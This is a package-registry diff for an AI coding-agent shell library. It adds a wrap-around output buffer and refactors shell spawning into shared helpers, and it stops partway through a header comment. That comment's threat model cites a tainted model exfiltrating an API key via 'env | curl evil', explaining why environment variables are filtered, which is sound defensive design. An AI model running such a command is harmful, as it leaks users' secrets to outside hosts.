@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (387) hide show
  1. package/README.md +13 -10
  2. package/dist/agent/agent-definition-registry.d.ts +3 -0
  3. package/dist/agent/agent-definition-registry.js +3 -1
  4. package/dist/agent/agent-definition.d.ts +15 -0
  5. package/dist/agent/agent-definition.js +27 -3
  6. package/dist/arena/context/context-tools.js +47 -4
  7. package/dist/arena/ledger.js +9 -1
  8. package/dist/arena/strategies/utils.d.ts +1 -4
  9. package/dist/arena/strategies/utils.js +7 -84
  10. package/dist/automation/cron-expr.d.ts +10 -0
  11. package/dist/automation/cron-expr.js +23 -5
  12. package/dist/automation/runner.d.ts +21 -4
  13. package/dist/automation/runner.js +48 -12
  14. package/dist/automation/scheduler.d.ts +38 -0
  15. package/dist/automation/scheduler.js +89 -12
  16. package/dist/automation/store.js +5 -2
  17. package/dist/capability-control/disabled-lists.d.ts +25 -0
  18. package/dist/capability-control/disabled-lists.js +57 -0
  19. package/dist/capability-control/overlay.d.ts +15 -0
  20. package/dist/capability-control/overlay.js +27 -0
  21. package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
  22. package/dist/cc-orchestrator/agent-adapter.js +133 -0
  23. package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
  24. package/dist/cc-orchestrator/cc-capability.js +53 -0
  25. package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
  26. package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
  27. package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
  28. package/dist/cc-orchestrator/codex-session-history.js +187 -0
  29. package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
  30. package/dist/cc-orchestrator/external-agent-changes.js +214 -0
  31. package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
  32. package/dist/cc-orchestrator/external-agent-driver.js +69 -0
  33. package/dist/cc-orchestrator/index.d.ts +8 -0
  34. package/dist/cc-orchestrator/index.js +8 -0
  35. package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
  36. package/dist/cc-orchestrator/relevance-judge.js +29 -0
  37. package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
  38. package/dist/cc-orchestrator/session-discovery.js +125 -0
  39. package/dist/cc-orchestrator/session-history.d.ts +19 -0
  40. package/dist/cc-orchestrator/session-history.js +67 -0
  41. package/dist/cli/agent-server-stdio.d.ts +15 -1
  42. package/dist/cli/agent-server-stdio.js +115 -17
  43. package/dist/cli/agent-server-tcp.js +40 -26
  44. package/dist/context/compaction.d.ts +56 -0
  45. package/dist/context/compaction.js +186 -0
  46. package/dist/context/manager.js +25 -4
  47. package/dist/cost-tracker.js +5 -61
  48. package/dist/credentials/cipher.d.ts +49 -0
  49. package/dist/credentials/cipher.js +45 -0
  50. package/dist/credentials/cookie-jar.d.ts +24 -0
  51. package/dist/credentials/cookie-jar.js +40 -0
  52. package/dist/credentials/index.d.ts +7 -0
  53. package/dist/credentials/index.js +5 -0
  54. package/dist/credentials/inject-credential-tool.d.ts +20 -0
  55. package/dist/credentials/inject-credential-tool.js +130 -0
  56. package/dist/credentials/store.d.ts +72 -0
  57. package/dist/credentials/store.js +184 -0
  58. package/dist/credentials/types.d.ts +56 -0
  59. package/dist/credentials/use-credential-tool.d.ts +29 -0
  60. package/dist/credentials/use-credential-tool.js +205 -0
  61. package/dist/credentials/use-gate.d.ts +56 -0
  62. package/dist/credentials/use-gate.js +52 -0
  63. package/dist/data/model-metadata.d.ts +77 -0
  64. package/dist/data/model-metadata.js +56 -0
  65. package/dist/data/model-metadata.json +216 -0
  66. package/dist/data/openrouter-models.d.ts +18 -7
  67. package/dist/data/openrouter-models.js +35 -8
  68. package/dist/engine/aux-key.d.ts +10 -0
  69. package/dist/engine/aux-key.js +11 -0
  70. package/dist/engine/dynamic-tool-defs.d.ts +19 -0
  71. package/dist/engine/dynamic-tool-defs.js +36 -0
  72. package/dist/engine/engine.d.ts +267 -138
  73. package/dist/engine/engine.js +957 -191
  74. package/dist/engine/friendly-error.d.ts +18 -0
  75. package/dist/engine/friendly-error.js +63 -0
  76. package/dist/engine/goal.d.ts +145 -0
  77. package/dist/engine/goal.js +144 -0
  78. package/dist/engine/image-policy.d.ts +13 -0
  79. package/dist/engine/image-policy.js +24 -0
  80. package/dist/engine/model-connections-pool.d.ts +17 -0
  81. package/dist/engine/model-connections-pool.js +66 -0
  82. package/dist/engine/model-facade.d.ts +10 -0
  83. package/dist/engine/model-facade.js +25 -0
  84. package/dist/engine/patch-orphaned-tools.js +3 -0
  85. package/dist/engine/resolve-llm-config.d.ts +16 -0
  86. package/dist/engine/resolve-llm-config.js +44 -0
  87. package/dist/engine/runtime.js +2 -1
  88. package/dist/engine/sandbox-cache-key.d.ts +10 -0
  89. package/dist/engine/sandbox-cache-key.js +9 -0
  90. package/dist/engine/sandbox-config.d.ts +31 -0
  91. package/dist/engine/sandbox-config.js +38 -0
  92. package/dist/engine/session-usage.d.ts +19 -0
  93. package/dist/engine/session-usage.js +25 -0
  94. package/dist/engine/steer-queue.d.ts +32 -0
  95. package/dist/engine/steer-queue.js +26 -0
  96. package/dist/engine/streaming-tool-queue.d.ts +12 -0
  97. package/dist/engine/streaming-tool-queue.js +50 -10
  98. package/dist/engine/turn-loop.d.ts +67 -3
  99. package/dist/engine/turn-loop.js +292 -41
  100. package/dist/engine/types.d.ts +175 -0
  101. package/dist/engine/types.js +13 -0
  102. package/dist/external-agents/config.d.ts +2 -0
  103. package/dist/external-agents/config.js +15 -0
  104. package/dist/external-agents/types.d.ts +31 -0
  105. package/dist/external-agents/types.js +1 -0
  106. package/dist/git/utils.js +11 -6
  107. package/dist/git/worktree.d.ts +48 -0
  108. package/dist/git/worktree.js +86 -10
  109. package/dist/hooks/goal-stop-hook.d.ts +28 -0
  110. package/dist/hooks/goal-stop-hook.js +186 -9
  111. package/dist/hooks/registry.d.ts +8 -0
  112. package/dist/hooks/registry.js +19 -0
  113. package/dist/hooks/shell-runner.js +10 -21
  114. package/dist/index.d.ts +49 -6
  115. package/dist/index.js +60 -4
  116. package/dist/llm/capabilities/param-specs.d.ts +14 -0
  117. package/dist/llm/capabilities/param-specs.js +62 -0
  118. package/dist/llm/capabilities/rules.js +4 -0
  119. package/dist/llm/capabilities/types.d.ts +10 -0
  120. package/dist/llm/client-base.d.ts +28 -1
  121. package/dist/llm/client-base.js +119 -13
  122. package/dist/llm/model-cache.js +4 -2
  123. package/dist/llm/model-pool.d.ts +14 -0
  124. package/dist/llm/model-pool.js +13 -0
  125. package/dist/llm/provider-auth.d.ts +41 -0
  126. package/dist/llm/provider-auth.js +76 -0
  127. package/dist/llm/provider-catalog.d.ts +4 -0
  128. package/dist/llm/providers/anthropic.js +64 -14
  129. package/dist/llm/providers/openai.d.ts +36 -0
  130. package/dist/llm/providers/openai.js +257 -51
  131. package/dist/llm/reasoning-setting.d.ts +3 -3
  132. package/dist/llm/reasoning-setting.js +9 -1
  133. package/dist/llm/stream-watchdog.js +5 -1
  134. package/dist/llm/token-counter.js +9 -2
  135. package/dist/llm/types.d.ts +4 -0
  136. package/dist/logging/sanitize-messages.js +22 -0
  137. package/dist/lsp/manager.d.ts +1 -1
  138. package/dist/lsp/manager.js +40 -10
  139. package/dist/model-catalog/builtin.d.ts +12 -0
  140. package/dist/model-catalog/builtin.js +407 -0
  141. package/dist/model-catalog/gen-connections.d.ts +20 -0
  142. package/dist/model-catalog/gen-connections.js +28 -0
  143. package/dist/model-catalog/index.d.ts +41 -0
  144. package/dist/model-catalog/index.js +90 -0
  145. package/dist/model-catalog/params.d.ts +20 -0
  146. package/dist/model-catalog/params.js +45 -0
  147. package/dist/model-catalog/resolve.d.ts +48 -0
  148. package/dist/model-catalog/resolve.js +33 -0
  149. package/dist/model-catalog/save-entry.d.ts +32 -0
  150. package/dist/model-catalog/save-entry.js +104 -0
  151. package/dist/model-catalog/types.d.ts +561 -0
  152. package/dist/model-catalog/types.js +93 -0
  153. package/dist/model-catalog/upsert.d.ts +9 -0
  154. package/dist/model-catalog/upsert.js +8 -0
  155. package/dist/onboarding.d.ts +12 -82
  156. package/dist/onboarding.js +61 -326
  157. package/dist/plugins/gitOps.d.ts +19 -0
  158. package/dist/plugins/gitOps.js +73 -4
  159. package/dist/plugins/installer/checkUpdate.d.ts +16 -0
  160. package/dist/plugins/installer/checkUpdate.js +32 -0
  161. package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
  162. package/dist/plugins/installer/codex/convertCommands.js +46 -0
  163. package/dist/plugins/installer/codex/convertMcp.d.ts +5 -2
  164. package/dist/plugins/installer/codex/convertMcp.js +45 -5
  165. package/dist/plugins/installer/install.js +25 -1
  166. package/dist/plugins/installer/installFromArchive.d.ts +43 -0
  167. package/dist/plugins/installer/installFromArchive.js +134 -0
  168. package/dist/plugins/installer/installFromSource.js +8 -2
  169. package/dist/plugins/installer/loadPluginAgents.js +6 -2
  170. package/dist/plugins/installer/loadPluginMcp.d.ts +9 -2
  171. package/dist/plugins/installer/loadPluginMcp.js +35 -2
  172. package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
  173. package/dist/plugins/installer/pruneDisabled.js +73 -0
  174. package/dist/plugins/installer/types.d.ts +5 -2
  175. package/dist/plugins/installer/types.js +1 -0
  176. package/dist/plugins/installer/uninstall.js +4 -0
  177. package/dist/plugins/installer/unzip.d.ts +14 -0
  178. package/dist/plugins/installer/unzip.js +82 -0
  179. package/dist/plugins/installer/update.d.ts +14 -0
  180. package/dist/plugins/installer/update.js +53 -21
  181. package/dist/plugins/loadPluginHooks.d.ts +47 -1
  182. package/dist/plugins/loadPluginHooks.js +73 -1
  183. package/dist/plugins/marketplaceManager.d.ts +7 -0
  184. package/dist/plugins/marketplaceManager.js +20 -0
  185. package/dist/plugins/pluginCommandHook.js +4 -18
  186. package/dist/plugins/pluginContent.d.ts +30 -0
  187. package/dist/plugins/pluginContent.js +83 -0
  188. package/dist/plugins/pluginInstaller.d.ts +13 -0
  189. package/dist/plugins/pluginInstaller.js +42 -8
  190. package/dist/plugins/schemas.js +1 -0
  191. package/dist/plugins/types.d.ts +6 -0
  192. package/dist/preset/index.d.ts +7 -1
  193. package/dist/preset/index.js +96 -6
  194. package/dist/product/types.d.ts +1 -1
  195. package/dist/prompt/composer.d.ts +27 -0
  196. package/dist/prompt/composer.js +67 -21
  197. package/dist/prompt/instruction-scanner.js +5 -3
  198. package/dist/prompt/section-loader.js +1 -0
  199. package/dist/prompt/sections/base.md +1 -0
  200. package/dist/prompt/sections/browser.md +10 -0
  201. package/dist/prompt/sections/coding.md +4 -0
  202. package/dist/protocol/chat-session-manager.d.ts +8 -2
  203. package/dist/protocol/chat-session-manager.js +36 -0
  204. package/dist/protocol/chat-session.d.ts +65 -0
  205. package/dist/protocol/chat-session.js +94 -2
  206. package/dist/protocol/client.d.ts +27 -0
  207. package/dist/protocol/client.js +38 -0
  208. package/dist/protocol/server.d.ts +112 -0
  209. package/dist/protocol/server.js +586 -16
  210. package/dist/protocol/transport.js +3 -2
  211. package/dist/protocol/types.d.ts +46 -0
  212. package/dist/protocol/types.js +16 -0
  213. package/dist/quota/credentials.d.ts +3 -0
  214. package/dist/quota/credentials.js +80 -0
  215. package/dist/quota/index.d.ts +36 -0
  216. package/dist/quota/index.js +155 -0
  217. package/dist/quota/types.d.ts +48 -0
  218. package/dist/quota/types.js +13 -0
  219. package/dist/review/review-prompt.d.ts +28 -0
  220. package/dist/review/review-prompt.js +81 -0
  221. package/dist/run/FileRunStore.js +8 -3
  222. package/dist/run/RunApprovalBackend.js +25 -5
  223. package/dist/run/RunManager.d.ts +12 -0
  224. package/dist/run/RunManager.js +35 -0
  225. package/dist/run/factory.d.ts +1 -1
  226. package/dist/runtime/background-shell.d.ts +139 -0
  227. package/dist/runtime/background-shell.js +495 -0
  228. package/dist/runtime/output-clean.d.ts +24 -0
  229. package/dist/runtime/output-clean.js +41 -0
  230. package/dist/runtime/ring-file.d.ts +64 -0
  231. package/dist/runtime/ring-file.js +174 -0
  232. package/dist/runtime/safe-spawn.js +15 -34
  233. package/dist/runtime/spawn-common.d.ts +148 -0
  234. package/dist/runtime/spawn-common.js +303 -0
  235. package/dist/runtime/truncate-output.d.ts +22 -0
  236. package/dist/runtime/truncate-output.js +49 -0
  237. package/dist/runtime/utf8-cut.d.ts +11 -0
  238. package/dist/runtime/utf8-cut.js +23 -0
  239. package/dist/services/auto-dream.d.ts +4 -0
  240. package/dist/services/auto-dream.js +26 -26
  241. package/dist/services/diagnostics.d.ts +1 -2
  242. package/dist/services/diagnostics.js +12 -7
  243. package/dist/services/extract-memories.d.ts +14 -1
  244. package/dist/services/extract-memories.js +45 -6
  245. package/dist/services/memory-orchestrator.d.ts +21 -0
  246. package/dist/services/memory-orchestrator.js +125 -50
  247. package/dist/services/session-memory.js +24 -12
  248. package/dist/session/file-history.d.ts +124 -1
  249. package/dist/session/file-history.js +222 -6
  250. package/dist/session/memory.d.ts +116 -2
  251. package/dist/session/memory.js +250 -28
  252. package/dist/session/session-manager.d.ts +40 -0
  253. package/dist/session/session-manager.js +113 -3
  254. package/dist/session/simple-diff.d.ts +23 -0
  255. package/dist/session/simple-diff.js +84 -0
  256. package/dist/session/transcript.d.ts +25 -1
  257. package/dist/session/transcript.js +35 -2
  258. package/dist/session/undo-target.d.ts +67 -0
  259. package/dist/session/undo-target.js +144 -0
  260. package/dist/settings/disk-defaults.d.ts +9 -2
  261. package/dist/settings/disk-defaults.js +11 -2
  262. package/dist/settings/feature-flags.d.ts +64 -0
  263. package/dist/settings/feature-flags.js +61 -0
  264. package/dist/settings/manager.d.ts +68 -1
  265. package/dist/settings/manager.js +266 -29
  266. package/dist/settings/migrate-config.d.ts +45 -0
  267. package/dist/settings/migrate-config.js +125 -0
  268. package/dist/settings/schema-export.d.ts +25 -0
  269. package/dist/settings/schema-export.js +38 -0
  270. package/dist/settings/schema.d.ts +1186 -771
  271. package/dist/settings/schema.js +268 -97
  272. package/dist/skills/scanner.d.ts +9 -0
  273. package/dist/skills/scanner.js +30 -2
  274. package/dist/stt/resolve-transcribe.d.ts +31 -0
  275. package/dist/stt/resolve-transcribe.js +108 -0
  276. package/dist/stt/transcribe.d.ts +51 -0
  277. package/dist/stt/transcribe.js +65 -0
  278. package/dist/tool-system/browser-bridge.d.ts +226 -0
  279. package/dist/tool-system/browser-bridge.js +163 -0
  280. package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
  281. package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
  282. package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
  283. package/dist/tool-system/builtin/agent-notifications.js +9 -3
  284. package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
  285. package/dist/tool-system/builtin/agent-output-file.js +72 -0
  286. package/dist/tool-system/builtin/agent-registry.d.ts +12 -0
  287. package/dist/tool-system/builtin/agent-registry.js +8 -0
  288. package/dist/tool-system/builtin/agent.d.ts +21 -1
  289. package/dist/tool-system/builtin/agent.js +489 -42
  290. package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
  291. package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
  292. package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
  293. package/dist/tool-system/builtin/apply-patch/index.js +0 -15
  294. package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
  295. package/dist/tool-system/builtin/background-jobs.js +124 -0
  296. package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
  297. package/dist/tool-system/builtin/background-shell-tools.js +108 -0
  298. package/dist/tool-system/builtin/background-work.d.ts +67 -0
  299. package/dist/tool-system/builtin/background-work.js +86 -0
  300. package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
  301. package/dist/tool-system/builtin/bash-output-style.js +40 -0
  302. package/dist/tool-system/builtin/bash.d.ts +5 -2
  303. package/dist/tool-system/builtin/bash.js +98 -62
  304. package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
  305. package/dist/tool-system/builtin/browser-tools.js +312 -0
  306. package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
  307. package/dist/tool-system/builtin/cancel-goal.js +64 -0
  308. package/dist/tool-system/builtin/check-quota.d.ts +15 -0
  309. package/dist/tool-system/builtin/check-quota.js +34 -0
  310. package/dist/tool-system/builtin/config.js +7 -0
  311. package/dist/tool-system/builtin/cron.d.ts +7 -0
  312. package/dist/tool-system/builtin/cron.js +55 -3
  313. package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
  314. package/dist/tool-system/builtin/drive-claude-code.js +157 -0
  315. package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
  316. package/dist/tool-system/builtin/edit-model-catalog.js +94 -0
  317. package/dist/tool-system/builtin/edit.js +20 -16
  318. package/dist/tool-system/builtin/eol.d.ts +29 -0
  319. package/dist/tool-system/builtin/eol.js +37 -0
  320. package/dist/tool-system/builtin/file-cache.d.ts +6 -0
  321. package/dist/tool-system/builtin/file-cache.js +8 -0
  322. package/dist/tool-system/builtin/generate-image.d.ts +35 -0
  323. package/dist/tool-system/builtin/generate-image.js +278 -50
  324. package/dist/tool-system/builtin/generate-video.d.ts +55 -0
  325. package/dist/tool-system/builtin/generate-video.js +361 -0
  326. package/dist/tool-system/builtin/glob.js +0 -7
  327. package/dist/tool-system/builtin/grep.js +6 -8
  328. package/dist/tool-system/builtin/image-providers.d.ts +86 -0
  329. package/dist/tool-system/builtin/image-providers.js +190 -0
  330. package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
  331. package/dist/tool-system/builtin/image-uploader.js +74 -0
  332. package/dist/tool-system/builtin/index.d.ts +7 -1
  333. package/dist/tool-system/builtin/index.js +249 -25
  334. package/dist/tool-system/builtin/mcp-tools.js +23 -3
  335. package/dist/tool-system/builtin/memory.js +45 -7
  336. package/dist/tool-system/builtin/notebook-edit.js +0 -7
  337. package/dist/tool-system/builtin/powershell.js +4 -1
  338. package/dist/tool-system/builtin/read.js +10 -10
  339. package/dist/tool-system/builtin/repl.js +4 -1
  340. package/dist/tool-system/builtin/skill.js +9 -0
  341. package/dist/tool-system/builtin/sleep.js +3 -2
  342. package/dist/tool-system/builtin/tool-search.js +25 -7
  343. package/dist/tool-system/builtin/video-providers.d.ts +154 -0
  344. package/dist/tool-system/builtin/video-providers.js +235 -0
  345. package/dist/tool-system/builtin/web-fetch.js +12 -2
  346. package/dist/tool-system/builtin/web-search.js +21 -7
  347. package/dist/tool-system/builtin/worktree.d.ts +2 -1
  348. package/dist/tool-system/builtin/worktree.js +31 -4
  349. package/dist/tool-system/builtin/write.js +0 -6
  350. package/dist/tool-system/context.d.ts +154 -6
  351. package/dist/tool-system/executor.d.ts +3 -1
  352. package/dist/tool-system/executor.js +172 -88
  353. package/dist/tool-system/investigation-guard.js +1 -1
  354. package/dist/tool-system/mcp-manager.d.ts +42 -4
  355. package/dist/tool-system/mcp-manager.js +186 -20
  356. package/dist/tool-system/path-policy.d.ts +5 -0
  357. package/dist/tool-system/path-policy.js +307 -8
  358. package/dist/tool-system/permission.d.ts +36 -1
  359. package/dist/tool-system/permission.js +281 -69
  360. package/dist/tool-system/plan-mode-allowlist.d.ts +13 -2
  361. package/dist/tool-system/plan-mode-allowlist.js +24 -2
  362. package/dist/tool-system/registry.d.ts +1 -0
  363. package/dist/tool-system/registry.js +16 -2
  364. package/dist/tool-system/sandbox/index.d.ts +8 -0
  365. package/dist/tool-system/sandbox/index.js +7 -2
  366. package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
  367. package/dist/tool-system/validate-tool-metadata.js +63 -0
  368. package/dist/types.d.ts +217 -6
  369. package/dist/updater.js +20 -9
  370. package/dist/utils/envUtils.d.ts +0 -9
  371. package/dist/utils/envUtils.js +3 -28
  372. package/dist/utils/exec.d.ts +40 -0
  373. package/dist/utils/exec.js +144 -0
  374. package/dist/utils/json.d.ts +12 -0
  375. package/dist/utils/json.js +92 -0
  376. package/dist/utils/theme.d.ts +1 -1
  377. package/dist/utils/theme.js +1 -1
  378. package/dist/utils/toolDisplay.js +0 -1
  379. package/package.json +13 -7
  380. package/dist/agent/coordinator.d.ts +0 -49
  381. package/dist/agent/coordinator.js +0 -77
  382. package/dist/settings/manager.test.js +0 -73
  383. package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
  384. package/dist/tool-system/builtin/remote-trigger.js +0 -54
  385. package/dist/tool-system/builtin/send-message.d.ts +0 -6
  386. package/dist/tool-system/builtin/send-message.js +0 -47
  387. /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
@@ -0,0 +1,174 @@
1
+ /**
2
+ * RingFile — a bounded, wrap-around output sink for a background shell's
3
+ * stdout/stderr (design §6 "落盘 8MB 环绕覆盖").
4
+ *
5
+ * Semantics: the logical stream is unbounded, but only the **last N bytes**
6
+ * are retained. When the stream exceeds the cap, the oldest bytes are
7
+ * dropped (`didWrap()` flips true). A dev server's startup banner is
8
+ * disposable; the recent tail is what the agent/user wants.
9
+ *
10
+ * Implementation: an in-memory tail Buffer is authoritative (so `readAll`
11
+ * and the manager's offset math never touch disk), mirrored to a file so a
12
+ * user can `tail`/open it with external tools. The disk mirror is
13
+ * best-effort — if the path is unwritable the in-memory buffer still works
14
+ * and the manager degrades to memory-only (design §7).
15
+ *
16
+ * The on-disk file holds the same retained tail as memory (rewritten on
17
+ * wrap, appended otherwise). We accept the cost of an occasional full
18
+ * rewrite on wrap; for line-oriented dev output at the 8MB cap this is rare
19
+ * and cheap relative to the process's own work.
20
+ */
21
+ import { openSync, writeSync, readSync, ftruncateSync, closeSync, fsyncSync, fstatSync, existsSync, } from "node:fs";
22
+ export class RingFile {
23
+ path;
24
+ capBytes;
25
+ buf = Buffer.alloc(0);
26
+ wrapped = false;
27
+ fd = null;
28
+ diskOk = true;
29
+ readonlyMode = false;
30
+ /** Total bytes ever written to the logical stream (monotonic, NOT capped).
31
+ * The retained window is the last `min(total, cap)` of these. Readers track
32
+ * an ABSOLUTE position in this stream so incremental reads survive
33
+ * wraparound (a window-relative offset would silently skip new data once
34
+ * the window starts sliding). */
35
+ total = 0;
36
+ constructor(path, capBytes,
37
+ /** Read-only: load the EXISTING file's tail into memory and never truncate
38
+ * or write. Used to surface a recovered orphan shell's already-captured
39
+ * output (the live process owns the .log in another worker). */
40
+ readonlyExisting = false) {
41
+ this.path = path;
42
+ this.capBytes = capBytes;
43
+ if (readonlyExisting) {
44
+ this.readonlyMode = true;
45
+ this.fd = null;
46
+ try {
47
+ if (existsSync(path)) {
48
+ // Read only the trailing `capBytes`, not the whole file. A reader
49
+ // never keeps more than the cap (see write()), so slurping a
50
+ // multi-MB .log just to discard all but the tail blocks the worker's
51
+ // event loop on startup for nothing (see memory: main sync-fs freeze).
52
+ const rfd = openSync(path, "r");
53
+ try {
54
+ const size = fstatSync(rfd).size;
55
+ const toRead = Math.min(size, capBytes);
56
+ const start = size - toRead;
57
+ const data = Buffer.alloc(toRead);
58
+ if (toRead > 0)
59
+ readSync(rfd, data, 0, toRead, start);
60
+ this.buf = data;
61
+ this.total = size; // logical stream length stays the full file size
62
+ this.wrapped = size > capBytes;
63
+ }
64
+ finally {
65
+ closeSync(rfd);
66
+ }
67
+ }
68
+ }
69
+ catch {
70
+ /* best effort — empty buf on read failure */
71
+ }
72
+ return;
73
+ }
74
+ try {
75
+ // 'w' — truncate/create. One file per shell, owned by this RingFile.
76
+ this.fd = openSync(path, "w");
77
+ }
78
+ catch {
79
+ this.diskOk = false;
80
+ this.fd = null;
81
+ }
82
+ }
83
+ /** True if the disk mirror is usable (false → memory-only degraded mode). */
84
+ diskAvailable() {
85
+ return this.diskOk;
86
+ }
87
+ write(chunk) {
88
+ this.total += chunk.length;
89
+ const combined = this.buf.length
90
+ ? Buffer.concat([this.buf, chunk])
91
+ : chunk;
92
+ if (combined.length <= this.capBytes) {
93
+ this.buf = combined;
94
+ this.appendToDisk(chunk);
95
+ return;
96
+ }
97
+ // Over cap: keep only the trailing capBytes.
98
+ this.wrapped = true;
99
+ this.buf = combined.subarray(combined.length - this.capBytes);
100
+ this.rewriteDisk();
101
+ }
102
+ /** Whether any bytes have been discarded by wraparound. */
103
+ didWrap() {
104
+ return this.wrapped;
105
+ }
106
+ /** The retained tail, decoded as UTF-8. */
107
+ readAll() {
108
+ return this.buf.toString("utf8");
109
+ }
110
+ /** Current retained byte length (for the agent read offset math). */
111
+ byteLength() {
112
+ return this.buf.length;
113
+ }
114
+ /** Bytes from `offset` (within the retained window) to the end. */
115
+ sliceFrom(offset) {
116
+ const start = Math.max(0, Math.min(offset, this.buf.length));
117
+ return this.buf.subarray(start);
118
+ }
119
+ /** Total bytes ever written to the logical stream (monotonic). Readers use
120
+ * this as their next cursor after a read. */
121
+ totalWritten() {
122
+ return this.total;
123
+ }
124
+ /**
125
+ * Bytes from an ABSOLUTE stream position to the current end. `absOffset` is
126
+ * a value previously returned by {@link totalWritten}. If it points before
127
+ * the retained window (the bytes were discarded by wraparound), returns the
128
+ * whole window. If it's at/after the end, returns empty.
129
+ */
130
+ sliceFromAbsolute(absOffset) {
131
+ const windowStartAbs = this.total - this.buf.length; // abs position of buf[0]
132
+ const rel = absOffset - windowStartAbs;
133
+ const start = Math.max(0, Math.min(rel, this.buf.length));
134
+ return this.buf.subarray(start);
135
+ }
136
+ close() {
137
+ if (this.fd !== null) {
138
+ try {
139
+ fsyncSync(this.fd);
140
+ }
141
+ catch {
142
+ /* best-effort */
143
+ }
144
+ try {
145
+ closeSync(this.fd);
146
+ }
147
+ catch {
148
+ /* best-effort */
149
+ }
150
+ this.fd = null;
151
+ }
152
+ }
153
+ appendToDisk(chunk) {
154
+ if (this.fd === null)
155
+ return;
156
+ try {
157
+ writeSync(this.fd, chunk);
158
+ }
159
+ catch {
160
+ this.diskOk = false;
161
+ }
162
+ }
163
+ rewriteDisk() {
164
+ if (this.fd === null)
165
+ return;
166
+ try {
167
+ ftruncateSync(this.fd, 0);
168
+ writeSync(this.fd, this.buf, 0, this.buf.length, 0);
169
+ }
170
+ catch {
171
+ this.diskOk = false;
172
+ }
173
+ }
174
+ }
@@ -35,6 +35,7 @@
35
35
  */
36
36
  import { spawn } from "node:child_process";
37
37
  import { StringDecoder } from "node:string_decoder";
38
+ import { resolveSpawnTarget, defaultShellBinary, killChildTree } from "./spawn-common.js";
38
39
  export const DEFAULT_MAX_OUTPUT_BYTES = 1_000_000;
39
40
  export const DEFAULT_IO_DRAIN_GRACE_MS = 100;
40
41
  const TIMEOUT_SIGKILL_GRACE_MS = 2000;
@@ -59,20 +60,15 @@ export function safeSpawn(file, args, opts) {
59
60
  * abort, timeout, pre-spawn-abort. Used by the Bash tool.
60
61
  */
61
62
  export function safeSpawnShell(command, opts) {
62
- const shell = opts.shell ?? "/bin/bash";
63
- let file;
64
- let args;
65
- let cleanup;
66
- if (opts.sandbox) {
67
- const wrapped = opts.sandbox.wrap(command, { cwd: opts.cwd, shell });
68
- file = wrapped.file;
69
- args = wrapped.args;
70
- cleanup = wrapped.cleanup;
71
- }
72
- else {
73
- file = shell;
74
- args = ["-c", command];
75
- }
63
+ // Don't hardcode a POSIX default here — resolveSpawnTarget →
64
+ // resolveShellInvocation picks the platform shell (cmd.exe on Windows,
65
+ // $SHELL/bin/bash on POSIX) when opts.shell is omitted.
66
+ const shell = opts.shell ?? defaultShellBinary();
67
+ const { file, args, cleanup } = resolveSpawnTarget(command, {
68
+ cwd: opts.cwd,
69
+ shell,
70
+ sandbox: opts.sandbox,
71
+ });
76
72
  return runLifecycle({ file, args, opts, cleanup });
77
73
  }
78
74
  function runLifecycle({ file, args, opts, cleanup }) {
@@ -117,31 +113,16 @@ function runLifecycle({ file, args, opts, cleanup }) {
117
113
  let aborted = false;
118
114
  const timer = setTimeout(() => {
119
115
  timedOut = true;
120
- try {
121
- child.kill("SIGTERM");
122
- }
123
- catch { /* may already be dead */ }
124
- setTimeout(() => {
125
- try {
126
- child.kill("SIGKILL");
127
- }
128
- catch { /* ignore */ }
129
- }, TIMEOUT_SIGKILL_GRACE_MS).unref();
116
+ // win32: taskkill /T reaps the whole tree (a foreground `npm test`
117
+ // spawns node children that child.kill() alone would orphan). POSIX:
118
+ // SIGTERM → grace → SIGKILL. See killChildTree.
119
+ killChildTree(child, TIMEOUT_SIGKILL_GRACE_MS);
130
120
  }, opts.timeoutMs);
131
121
  let onAbort;
132
122
  if (opts.signal) {
133
123
  onAbort = () => {
134
124
  aborted = true;
135
- try {
136
- child.kill("SIGTERM");
137
- }
138
- catch { /* may already be dead */ }
139
- setTimeout(() => {
140
- try {
141
- child.kill("SIGKILL");
142
- }
143
- catch { /* ignore */ }
144
- }, abortGrace).unref();
125
+ killChildTree(child, abortGrace);
145
126
  };
146
127
  opts.signal.addEventListener("abort", onAbort, { once: true });
147
128
  }
@@ -0,0 +1,148 @@
1
+ /**
2
+ * spawn-common — shared subprocess primitives for foreground (safeSpawnShell)
3
+ * and background (BackgroundShellManager) shell execution.
4
+ *
5
+ * Both paths must agree on three things or their security/behavior drifts:
6
+ *
7
+ * 1. How a free-form shell command is turned into an actual (file, args)
8
+ * under the active sandbox backend ({@link resolveSpawnTarget}).
9
+ * 2. Which environment variables are forwarded into a sandboxed shell
10
+ * ({@link buildSandboxEnv} + {@link ENV_DENY_REGEX}) — the Bash threat
11
+ * model (a tainted model exfiltrating `OPENROUTER_API_KEY` via
12
+ * `env | curl evil`).
13
+ * 3. How a process is terminated — SIGTERM → grace → SIGKILL. The
14
+ * background path needs this at *process-group* granularity
15
